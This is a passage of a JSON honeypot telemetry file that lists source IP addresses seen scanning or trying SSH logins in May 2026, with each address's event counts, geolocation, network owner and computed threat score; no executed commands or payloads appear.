        "total_events_30d": 127,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T09:32:15+00:00",
        "last_seen_30d": "2026-05-31T22:32:56.787000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 47,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "110.35.80.116": {
      "attack_count": 3,
      "first_seen": "2026-05-07T17:28:20.381Z",
      "last_seen": "2026-05-07T17:29:21.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17727,
      "as_org": "PT. NAP Info Lintas Nusa",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.7,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T17:28:20.381000+00:00",
        "last_seen_30d": "2026-05-26T08:42:38.856000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 161,
        "Tanner": 132,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "168.110.107.106": {
      "attack_count": 3,
      "first_seen": "2026-05-31T01:15:17.816Z",
      "last_seen": "2026-05-31T01:16:28.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chuncheon",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T01:15:17.816000+00:00",
        "last_seen_30d": "2026-05-31T01:17:38.586000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "2.27.22.122": {
      "attack_count": 3,
      "first_seen": "2026-05-23T19:47:22.294Z",
      "last_seen": "2026-05-23T19:48:23.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:47:22.294000+00:00",
        "last_seen_30d": "2026-05-23T19:49:27.700000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "8.212.129.39": {
      "attack_count": 3,
      "first_seen": "2026-05-26T11:42:25.237Z",
      "last_seen": "2026-05-26T11:43:25.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T06:09:30.787000+00:00",
        "last_seen_30d": "2026-05-26T13:13:04.421000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "103.129.125.128": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:51:30.922Z",
      "last_seen": "2026-05-06T04:51:44.428Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": null,
      "asn": 151066,
      "as_org": "Imperial network inc",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:51:30.922000+00:00",
        "last_seen_30d": "2026-05-06T04:52:52.651000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.176.25.78": {
      "attack_count": 2,
      "first_seen": "2026-05-14T00:16:50.490Z",
      "last_seen": "2026-05-14T00:16:50.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T00:16:50.490000+00:00",
        "last_seen_30d": "2026-05-15T01:41:53.505000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "106.192.83.77": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:10:50.889Z",
      "last_seen": "2026-05-06T10:11:06.029Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "B\u0101gn\u0101n",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:10:50.889000+00:00",
        "last_seen_30d": "2026-05-06T10:12:08.361000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.118.188.26": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:13:17.266Z",
      "last_seen": "2026-05-03T02:13:47.920Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55470,
      "as_org": "Cyfuture India Pvt. Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:13:17.266000+00:00",
        "last_seen_30d": "2026-05-03T02:14:49.233000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.134.22.123": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:05:38.112Z",
      "last_seen": "2026-05-08T16:05:54.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 59162,
      "as_org": "U.P. COMMUNICATION SERVICES PVT LTD",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:05:38.112000+00:00",
        "last_seen_30d": "2026-05-08T16:07:18.042000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.230.43.115": {
      "attack_count": 2,
      "first_seen": "2026-05-18T02:16:53.278Z",
      "last_seen": "2026-05-18T02:17:05.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:16:53.278000+00:00",
        "last_seen_30d": "2026-05-18T02:18:13.406000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.74.222.155": {
      "attack_count": 2,
      "first_seen": "2026-05-02T01:05:16.696Z",
      "last_seen": "2026-05-02T01:05:29.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 9506,
      "as_org": "Singtel Fibre Broadband",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:05:16.696000+00:00",
        "last_seen_30d": "2026-05-02T01:06:31.978000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.179.247.151": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:51:15.772Z",
      "last_seen": "2026-05-05T18:51:47.489Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suncheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:51:15.772000+00:00",
        "last_seen_30d": "2026-05-05T18:52:48.938000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.181.203.132": {
      "attack_count": 2,
      "first_seen": "2026-05-08T05:52:16.964Z",
      "last_seen": "2026-05-08T05:52:29.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:52:16.964000+00:00",
        "last_seen_30d": "2026-05-08T05:53:30.715000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.165.154.121": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:16:45.224Z",
      "last_seen": "2026-05-22T14:16:57.350Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:16:45.224000+00:00",
        "last_seen_30d": "2026-05-22T14:18:03.547000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.220.47.28": {
      "attack_count": 2,
      "first_seen": "2026-05-20T11:34:43.156Z",
      "last_seen": "2026-05-20T11:35:14.161Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:34:43.156000+00:00",
        "last_seen_30d": "2026-05-20T11:36:16.814000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.188.125.147": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:38:53.068Z",
      "last_seen": "2026-05-22T16:40:53.069Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:38:53.068000+00:00",
        "last_seen_30d": "2026-05-22T21:39:22.664000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "143.137.47.73": {
      "attack_count": 2,
      "first_seen": "2026-05-15T17:46:19.417Z",
      "last_seen": "2026-05-15T17:46:32.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 264071,
      "as_org": "HOPNET TELECOM LTDA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:46:19.417000+00:00",
        "last_seen_30d": "2026-05-15T17:47:38.425000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.19.32.133": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:43:59.913Z",
      "last_seen": "2026-05-26T20:44:12.001Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:43:59.913000+00:00",
        "last_seen_30d": "2026-05-26T20:45:21.031000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.63.202.145": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:28:08.254Z",
      "last_seen": "2026-05-05T11:28:08.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:28:08.254000+00:00",
        "last_seen_30d": "2026-05-05T11:29:15.224000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.232.194.122": {
      "attack_count": 2,
      "first_seen": "2026-05-26T23:00:48.361Z",
      "last_seen": "2026-05-26T23:02:48.363Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Beccar",
      "asn": 273979,
      "as_org": "LIZARSOAIN GREGORIO LUIS ALBERTO CIBERGOLD WIFI",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:36:53.464000+00:00",
        "last_seen_30d": "2026-05-26T23:13:37.105000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "181.41.124.122": {
      "attack_count": 2,
      "first_seen": "2026-05-24T02:15:10.445Z",
      "last_seen": "2026-05-24T02:17:10.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guyana",
      "country_code": "GY",
      "city": "Georgetown",
      "asn": 19863,
      "as_org": "Guyana Telephone & Telegraph Co.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:15:10.445000+00:00",
        "last_seen_30d": "2026-05-24T02:27:51.285000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.239.80.66": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:14:19.294Z",
      "last_seen": "2026-05-23T11:14:32.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:14:19.294000+00:00",
        "last_seen_30d": "2026-05-23T11:15:39.258000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.240.214.174": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:36:56.125Z",
      "last_seen": "2026-05-22T22:37:29.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:36:56.125000+00:00",
        "last_seen_30d": "2026-05-22T22:38:34.892000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.182.110.139": {
      "attack_count": 2,
      "first_seen": "2026-05-23T14:52:58.420Z",
      "last_seen": "2026-05-23T14:54:58.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 197695,
      "as_org": "Domain names registrar REG.RU, Ltd",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:52:58.420000+00:00",
        "last_seen_30d": "2026-05-23T15:05:02.969000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.22.253.214": {
      "attack_count": 2,
      "first_seen": "2026-05-18T13:44:20.745Z",
      "last_seen": "2026-05-18T13:44:33.321Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Burzaco",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:44:20.745000+00:00",
        "last_seen_30d": "2026-05-18T13:45:42.255000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.129.103.118": {
      "attack_count": 2,
      "first_seen": "2026-05-02T21:06:10.714Z",
      "last_seen": "2026-05-02T21:06:22.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:06:10.714000+00:00",
        "last_seen_30d": "2026-05-02T21:07:27.821000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.229": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:31:56.140Z",
      "last_seen": "2026-05-08T06:32:05.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T14:27:48+00:00",
        "last_seen_30d": "2026-05-31T04:09:13.214000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 20,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "200.92.183.66": {
      "attack_count": 2,
      "first_seen": "2026-05-07T00:58:01.091Z",
      "last_seen": "2026-05-07T00:58:14.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Chihuahua City",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
